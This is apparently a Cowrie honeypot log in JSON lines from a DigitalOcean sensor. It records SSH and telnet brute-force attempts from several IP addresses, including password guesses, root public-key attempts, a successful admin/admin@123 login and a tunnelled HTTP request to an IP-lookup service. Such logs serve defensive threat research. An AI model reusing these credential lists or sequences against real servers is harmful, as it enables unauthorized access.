{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:22.197830Z","src_ip":"213.209.159.56","session":"0fbb16e37e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:22.282717Z","src_ip":"213.209.159.56","session":"0fbb16e37e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha","message":"login attempt [daysha/daysha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:22.690204Z","src_ip":"213.209.159.56","session":"0fbb16e37e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha1","message":"login attempt [daysha/daysha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:23.777449Z","src_ip":"213.209.159.56","session":"0fbb16e37e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha123","message":"login attempt [daysha/daysha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:24.865094Z","src_ip":"213.209.159.56","session":"0fbb16e37e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha1234","message":"login attempt [daysha/daysha1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:25.955995Z","src_ip":"213.209.159.56","session":"0fbb16e37e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha12345","message":"login attempt [daysha/daysha12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:27.043290Z","src_ip":"213.209.159.56","session":"0fbb16e37e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:28.130408Z","src_ip":"213.209.159.56","session":"0fbb16e37e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":2011,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73236504c42","protocol":"telnet","message":"New connection: 212.55.149.117:2011 (10.17.0.5:23) [session: e73236504c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:33.217179Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.97.163","src_port":50418,"dst_ip":"10.17.0.5","dst_port":22,"session":"75650caff1d9","protocol":"ssh","message":"New connection: 147.135.97.163:50418 (10.17.0.5:22) [session: 75650caff1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.222220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.226885Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.322984Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:42:ed:2b:df:cb:14:52:bf:78:a3:e2:bb:db:43:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0Be74agtlbiR42Iq4o320AXQNHDGpV47hyI8HTizbyuNWZdiFpnBCJf2bQ31kJl87JacwoidYLQ6wrMZw2DxAMzw01P3+eKZYktG99DK1h1YFkdrqW2HkiV/pzFqGpbqICqGEQTHx4pYzGJ/j8UYqfCdO/cBrGv168fs4lF6VC9m0XcHMFkO/nYkrHblfnfmnS9KS+wzzLw5UBxOGS4k8gnQqgqgDHQtpjyz2QMDaHr2gmdd2xyWODk5HFwy2CvRfKdOzaxl6UPEas/yPIwhO/Z9gVY0/tzv8R3BK0zP/jbovD78xtWJYjGXLPxVdHeizCNkBpmzkgHYXq/fW6qnjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:42:ed:2b:df:cb:14:52:bf:78:a3:e2:bb:db:43:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.773088Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:42:ed:2b:df:cb:14:52:bf:78:a3:e2:bb:db:43:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0Be74agtlbiR42Iq4o320AXQNHDGpV47hyI8HTizbyuNWZdiFpnBCJf2bQ31kJl87JacwoidYLQ6wrMZw2DxAMzw01P3+eKZYktG99DK1h1YFkdrqW2HkiV/pzFqGpbqICqGEQTHx4pYzGJ/j8UYqfCdO/cBrGv168fs4lF6VC9m0XcHMFkO/nYkrHblfnfmnS9KS+wzzLw5UBxOGS4k8gnQqgqgDHQtpjyz2QMDaHr2gmdd2xyWODk5HFwy2CvRfKdOzaxl6UPEas/yPIwhO/Z9gVY0/tzv8R3BK0zP/jbovD78xtWJYjGXLPxVdHeizCNkBpmzkgHYXq/fW6qnjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.777272Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:16:c6:3d:7b:f9:87:1a:d1:5c:db:2e:6c:e7:4c:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6//oOJ3jXOP6NxsCsrHtj/rY6yXD0Kxaqopau9wlGfEF7FIsbqNQbhlgQxJUSc0st3DOmZR1dbsJ32Fvjsp1RB5L72nj7xEQX+3Zgpz04zqDiG6e1WgvtS7ozrWR2B5CW2tXEBXRNnyt010blTmXeg3O+KOEgEu4YdiS55FEVXlyd3i0tbj4xci1yV8d0sMs4BATT/xXyfhH5yoVEHDIVTzHfzVXZmcBA+1dezHHO2tZr15mFF1jGg65ouNF8PoPSFu/wrTqkWy4h6w5Z5UYoQ73wcOclgHJaVl1YXObv4mbVFmE1q6uiI1RC/8GpSNEWkU1IGPmZd+xwCwfHIbBuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:16:c6:3d:7b:f9:87:1a:d1:5c:db:2e:6c:e7:4c:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.872641Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:16:c6:3d:7b:f9:87:1a:d1:5c:db:2e:6c:e7:4c:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6//oOJ3jXOP6NxsCsrHtj/rY6yXD0Kxaqopau9wlGfEF7FIsbqNQbhlgQxJUSc0st3DOmZR1dbsJ32Fvjsp1RB5L72nj7xEQX+3Zgpz04zqDiG6e1WgvtS7ozrWR2B5CW2tXEBXRNnyt010blTmXeg3O+KOEgEu4YdiS55FEVXlyd3i0tbj4xci1yV8d0sMs4BATT/xXyfhH5yoVEHDIVTzHfzVXZmcBA+1dezHHO2tZr15mFF1jGg65ouNF8PoPSFu/wrTqkWy4h6w5Z5UYoQ73wcOclgHJaVl1YXObv4mbVFmE1q6uiI1RC/8GpSNEWkU1IGPmZd+xwCwfHIbBuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.876580Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:75:22:af:30:52:cb:11:46:a2:33:ac:64:02:7b:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuADAVHBsve/PSSilPLO+KX511lcfNbOdW8ikoTQ8tgCenD/F3XAcT4FtFLtDiYewT80E5su/tLAxF7tFcur3jij0DlDeKSyDs23rRQzLj/ZFD4E27IFbleRP4le2GTNXQCpB6+lGE52ZtwTrwUrIoGFgw42g8oaMuVRg+Vo0SvskrDbbEwbaAkrjlDRr3n440BKCD3xFxbd6w6fk8TgH72mwKidqw1OuSZgbQ4JU1FePUCxgo4w2Uzm0YIl8oXNWMU4N2hg9WTx8cIfV/tR0EPdcYLz2/Q25vZAsl/gN+2gIYnelUOzOvmnAi4pSvL7Wg3/6y9KCEnmI9gLRHwyExw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:75:22:af:30:52:cb:11:46:a2:33:ac:64:02:7b:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.971562Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:75:22:af:30:52:cb:11:46:a2:33:ac:64:02:7b:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuADAVHBsve/PSSilPLO+KX511lcfNbOdW8ikoTQ8tgCenD/F3XAcT4FtFLtDiYewT80E5su/tLAxF7tFcur3jij0DlDeKSyDs23rRQzLj/ZFD4E27IFbleRP4le2GTNXQCpB6+lGE52ZtwTrwUrIoGFgw42g8oaMuVRg+Vo0SvskrDbbEwbaAkrjlDRr3n440BKCD3xFxbd6w6fk8TgH72mwKidqw1OuSZgbQ4JU1FePUCxgo4w2Uzm0YIl8oXNWMU4N2hg9WTx8cIfV/tR0EPdcYLz2/Q25vZAsl/gN+2gIYnelUOzOvmnAi4pSvL7Wg3/6y9KCEnmI9gLRHwyExw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:36.975500Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:77:83:31:63:f1:25:0b:33:5b:87:ae:2a:b7:44:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApqlIMu925LMtV4rkyKg+aNoFltasMhhDayXank7qKkszyFZRvzh2/9Nw4Uo5V8+dTgF2cav0cjsivUZaxFVmZXMJyFCLB+IP7CmGFCjMURto2YYIn2OY6AD/qC2F4q2k67ohuPfIsxwDk8McxXCsYCIwYiJ47gaNNhE2YpWiNNq7P0INwEb7PX1FO9OKB9t8/rgoC6Wt0mi1nEIb7ZU0lJDl2xkoj5ZrNCdHJPIzHpp3/rzbo7lSD/D+rt19TC8ES14qH3EnDswWlNwdYX9e2bChEetBpFWSG1dq0EOq7J6ZKarD4N4AM6D9zNys3bfzUFG3vSTIg0wEsYDqt9EmtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:77:83:31:63:f1:25:0b:33:5b:87:ae:2a:b7:44:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:37.070567Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:77:83:31:63:f1:25:0b:33:5b:87:ae:2a:b7:44:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApqlIMu925LMtV4rkyKg+aNoFltasMhhDayXank7qKkszyFZRvzh2/9Nw4Uo5V8+dTgF2cav0cjsivUZaxFVmZXMJyFCLB+IP7CmGFCjMURto2YYIn2OY6AD/qC2F4q2k67ohuPfIsxwDk8McxXCsYCIwYiJ47gaNNhE2YpWiNNq7P0INwEb7PX1FO9OKB9t8/rgoC6Wt0mi1nEIb7ZU0lJDl2xkoj5ZrNCdHJPIzHpp3/rzbo7lSD/D+rt19TC8ES14qH3EnDswWlNwdYX9e2bChEetBpFWSG1dq0EOq7J6ZKarD4N4AM6D9zNys3bfzUFG3vSTIg0wEsYDqt9EmtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:37.074514Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:3f:26:d5:1c:30:01:05:87:96:7e:82:3e:43:14:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnO0VwoY/F7XIwkgfF+O3xYZjr6yP8cpaaIZLAnhj5W1MpG1Y9cQHbMeV/bEzLYf52vApJpCpPfx2PdFulsrz6lmsRVczi09CQpW6RW7N+iJykgRlYMjApFgsDB502EAggae0D54FPpfUT6ywzI3KE04x5M4foHSrb14oWXnatEsHEd7uUrL5NN++L2GkQQA4cRnQ3w8Dx9VsA0pi+da4rWT25Js7QmFrI2Mej5gWC6dGpazqYekn/R16eoo/msUNpY9Pz+GjoDVQwTxZSbPF0S1l5wnmL17pxsvtXuP+cj++lK001jBeAqmNkBR6n9R48B2hYNsb7VRhPSdwDJREVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:3f:26:d5:1c:30:01:05:87:96:7e:82:3e:43:14:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:37.172880Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:3f:26:d5:1c:30:01:05:87:96:7e:82:3e:43:14:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnO0VwoY/F7XIwkgfF+O3xYZjr6yP8cpaaIZLAnhj5W1MpG1Y9cQHbMeV/bEzLYf52vApJpCpPfx2PdFulsrz6lmsRVczi09CQpW6RW7N+iJykgRlYMjApFgsDB502EAggae0D54FPpfUT6ywzI3KE04x5M4foHSrb14oWXnatEsHEd7uUrL5NN++L2GkQQA4cRnQ3w8Dx9VsA0pi+da4rWT25Js7QmFrI2Mej5gWC6dGpazqYekn/R16eoo/msUNpY9Pz+GjoDVQwTxZSbPF0S1l5wnmL17pxsvtXuP+cj++lK001jBeAqmNkBR6n9R48B2hYNsb7VRhPSdwDJREVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:37.177387Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:50:37.273015Z","src_ip":"147.135.97.163","session":"75650caff1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":30831,"dst_ip":"159.203.135.109","dst_port":22,"session":"854c6c927fb3","protocol":"ssh","message":"New connection: 79.127.181.103:30831 (159.203.135.109:22) [session: 854c6c927fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:08.495063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:08.702008Z","src_ip":"79.127.181.103","session":"854c6c927fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:08.903915Z","src_ip":"79.127.181.103","session":"854c6c927fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:08.909071Z","src_ip":"79.127.181.103","session":"854c6c927fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":36130,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ffc473660aa","protocol":"ssh","message":"New connection: 171.231.193.85:36130 (159.203.135.109:22) [session: 7ffc473660aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:22.926611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:23.067532Z","src_ip":"171.231.193.85","session":"7ffc473660aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:23.181607Z","src_ip":"171.231.193.85","session":"7ffc473660aa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:25.128122Z","src_ip":"171.231.193.85","session":"7ffc473660aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.231.193.85","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:25.393257Z","session":"7ffc473660aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:25.670053Z","src_ip":"171.231.193.85","session":"7ffc473660aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:25.673568Z","src_ip":"171.231.193.85","session":"7ffc473660aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:25.951928Z","src_ip":"171.231.193.85","session":"7ffc473660aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":45376,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e87d611c8f9","protocol":"ssh","message":"New connection: 2.57.122.210:45376 (10.17.0.5:22) [session: 0e87d611c8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:26.850155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:51:26.854843Z","src_ip":"2.57.122.210","session":"0e87d611c8f9","protocol":"ssh"}
